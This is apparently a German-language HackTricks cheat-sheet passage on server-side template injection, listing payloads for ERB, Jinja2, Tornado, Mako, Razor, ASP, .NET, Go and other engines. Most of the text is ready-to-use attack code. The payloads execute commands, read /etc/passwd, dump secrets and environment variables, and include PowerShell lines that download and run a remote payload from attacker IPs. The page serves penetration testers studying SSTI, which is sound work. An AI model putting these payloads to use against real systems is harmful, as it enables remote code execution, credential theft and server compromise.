https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Weitere Informationen
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Weitere Informationen
Weitere Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Mehr Informationen unter https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Sieh dir die folgende Seite an, um Tricks zu arbitrary command execution bypassing sandboxes in Python zu lernen:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Weitere Informationen
Jinja2 (Python)
Jinja2 ist eine voll ausgestattete Template-Engine für Python. Sie bietet vollständige Unicode-Unterstützung, eine optional integrierte, sandbox-geschützte Ausführungsumgebung, ist weit verbreitet und BSD-lizenziert.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Vorlagenformat
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE nicht abhängig von __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Weitere Details dazu, wie Jinja ausgenutzt werden kann:
Weitere payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Weitere Informationen
Weitere Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start-Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und damit eine Webshell zu erstellen. Ein verwundbares Webapp-Beispiel finden Sie unter https://github.com/cnotin/RazorVulnerableApp
Weitere Informationen
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nichts<%= response.write(date()) %>= <Datum>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Weitere Informationen
.Net Beschränkungen umgehen
Die .NET Reflection-Mechanismen können verwendet werden, um Blacklisting zu umgehen oder Klassen zu nutzen, die im Assembly nicht vorhanden sind. DLLs können zur Laufzeit geladen werden, wobei Methoden und Eigenschaften von Basisobjekten zugänglich sind.
DLLs können wie folgt geladen werden:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Vollständige Befehlsausführung:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Weitere Informationen
Mojolicious (Perl)
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
In Go’s template engine lässt sich die Verwendung mit bestimmten Payloads bestätigen:
{{ . }}: Gibt die eingehende Datenstruktur aus. Zum Beispiel, wenn ein Objekt mit einemPassword-Attribut übergeben wird, könnte{{ .Password }}dieses preisgeben.{{printf "%s" "ssti" }}: Sollte den String “ssti” anzeigen.{{html "ssti"}},{{js "ssti"}}: Diese Payloads sollten “ssti” zurückgeben, ohne “html” oder “js” anzuhängen. Weitere Direktiven können in der Go-Dokumentation hier erkundet werden.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Mit dem text/template-Package ist XSS oft einfach möglich, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das html/template-Package die Ausgabe, um dies zu verhindern (z. B. {{"<script>alert(1)</script>"}} ergibt <script>alert(1)</script>). Nichtsdestotrotz können Template-Definition und -Aufruf in Go diese Kodierung umgehen: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE-Ausnutzung unterscheidet sich deutlich zwischen html/template und text/template. Das text/template-Modul erlaubt, jede öffentliche Funktion direkt aufzurufen (mittels des „call“-Werts), was in html/template nicht erlaubt ist. Dokumentation für diese Module ist verfügbar hier für html/template und hier für text/template.
Für RCE via SSTI in Go können Methoden von Objekten aufgerufen werden. Zum Beispiel: wenn das übergebene Objekt eine System-Methode hat, die Befehle ausführt, kann sie wie {{ .System "ls" }} ausgenutzt werden. In der Regel ist Zugriff auf den Quellcode notwendig, um dies auszunutzen, wie im gegebenen Beispiel:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Weitere Informationen
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ist ein beliebter CSS Preprocessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten (“inline”), wenn die (inline)-Option verwendet wird.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
If you think it could be useful, read:
Tools
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
Referenzen
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


